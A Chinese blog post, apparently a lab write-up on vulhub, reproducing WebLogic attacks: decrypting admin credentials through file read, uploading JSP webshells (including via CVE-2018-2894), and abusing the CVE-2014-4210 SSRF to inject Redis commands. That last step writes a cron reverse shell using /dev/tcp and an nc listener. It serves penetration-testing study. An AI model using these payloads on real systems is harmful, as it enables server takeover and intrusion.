| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 网络协议 -> vulhub靶场-weblogic漏洞复现 -> 正文阅读 |
|
[网络协议]vulhub靶场-weblogic漏洞复现 |
目录 weak-password复现开启容器后先访问weblogic的后台
?看到有个登录框,尝试了几个weblogic的弱口令,得知本环境的弱口令为
现假设我们不知道弱口令,对本环境进行渗透,本环境存在任意文件读取漏洞,具体路径为
?接下来就是对这个漏洞进行利用。 weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为`SerializedSystemIni.dat`和`config.xml`,在本环境中为`./security/SerializedSystemIni.dat`和`./config/config.xml`(基于当前目录`/root/Oracle/Middleware/user_projects/domains/base_domain`)。 `SerializedSystemIni.dat`是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件: config.xml`是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的`<node-manager-password-encrypted>`的值,即为加密后的管理员密码 ,同样用bp抓取数据包来读取想要的内容: 密文和密钥得到之后就可以利用工具进行解密了,利用github里的weblogic解密工具 ? ?这样就成功得到后台登录密码了,登录之后,点击左侧的部署 ,之后就可以看到有能安装的,再点击安装 安装完成之后可以看到可以进行上传文件 上传到是war文件,我们可以先将一句话木马(所用的jsp一句话木马放在下方)写在shell.jsp中,然后将其压缩成zip文件,再改其后缀为.war,然后进行上传 上传完成之后,用蚁剑进行连接, 连接成功之后,打开蚁剑终端 成功拿到shell。 jsp一句话木马:
CVE-2018-2894漏洞详情:Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分为/ws_utc/begin.do、/ws_utc/config.do。 影响范围:Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
环境启动后,访问http://192.168.217.134:7001/console,即可看到后台登录页面。 执行docker-compose logs | grep password可查看管理员密码 ?登录后台页面,点击`base_domain`的配置,在“高级”中开启“启用 Web 服务测试页”选项 之后访问http://192.168.217.134:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的。 ?接着点击安全,看到可以添加文件,直接上传一个jsp木马文件。 同时利用bp抓取数据包,在数据包中发现存在时间戳。保存好该时间戳,后面的路径中会利用到 ?接着尝试使用蚁剑进行连接。所上传的文件路径为http://192.168.217.134:7001/ws_utc/css/config/keystore/[时间戳]_[文件名] ?连接成功,打开蚁剑虚拟终端,成功拿到shell SSRF(CVE-2014-4210)Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。访问`http://192.168.217.134:7001/uddiexplorer/`,无需登录即可查看uddiexplorer应用,然后点击Search Public Registries,在这个地方存在ssrf漏洞 接下来我们进行测试一下 由此可知确实是存在ssrf漏洞的,接下来进行验证该ssrf漏洞 这说明ip不存在。 如果访问的非http协议,则会返回`did not have a valid SOAP content-type`? 这表明该端口未开放。通过错误的不同,可探测出内网IP的状态。 ## 注入HTTP头,利用Redis反弹shell Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。首先,通过ssrf探测内网中的redis服务器,因为该漏洞是用docker环境搭建的,所以redis服务器的内网即为docker的网段 发现ip172.20.0.2,利用ssrf探测内网redis是否开放 ? 确定是开放的 接下来发送三条redis命令,将弹shell脚本写入`/etc/crontab`: set?1?“\n\n\n\n*?*?*?*?*?root?bash?-i?>&?/dev/tcp/192.168.217.134/4444 0>&1\n\n\n\n” 接下来就是将payload进行url编码了。 为什么要进行编码呢? 因为redis命令是通过换行符来分隔每条命令的(这个可以自行搜索下redis 序列化协议进行了解) 进行编码时注意换行符“\r\n”也就是“%0D%0A”
?然后就是将编码后的payload进行发送来进行反弹shell的 打开终端进行端口监听nc -lvp 4444,监听之后再发送该请求 ?成功反弹shell。 ? ? ? ? 持续更新~~~ |
|
网络协议 最新文章 |
使用Easyswoole 搭建简单的Websoket服务 |
常见的数据通信方式有哪些? |
Openssl 1024bit RSA算法---公私钥获取和处 |
HTTPS协议的密钥交换流程 |
《小白WEB安全入门》03. 漏洞篇 |
HttpRunner4.x 安装与使用 |
2021-07-04 |
手写RPC学习笔记 |
K8S高可用版本部署 |
mySQL计算IP地址范围 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/25 22:39:05- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |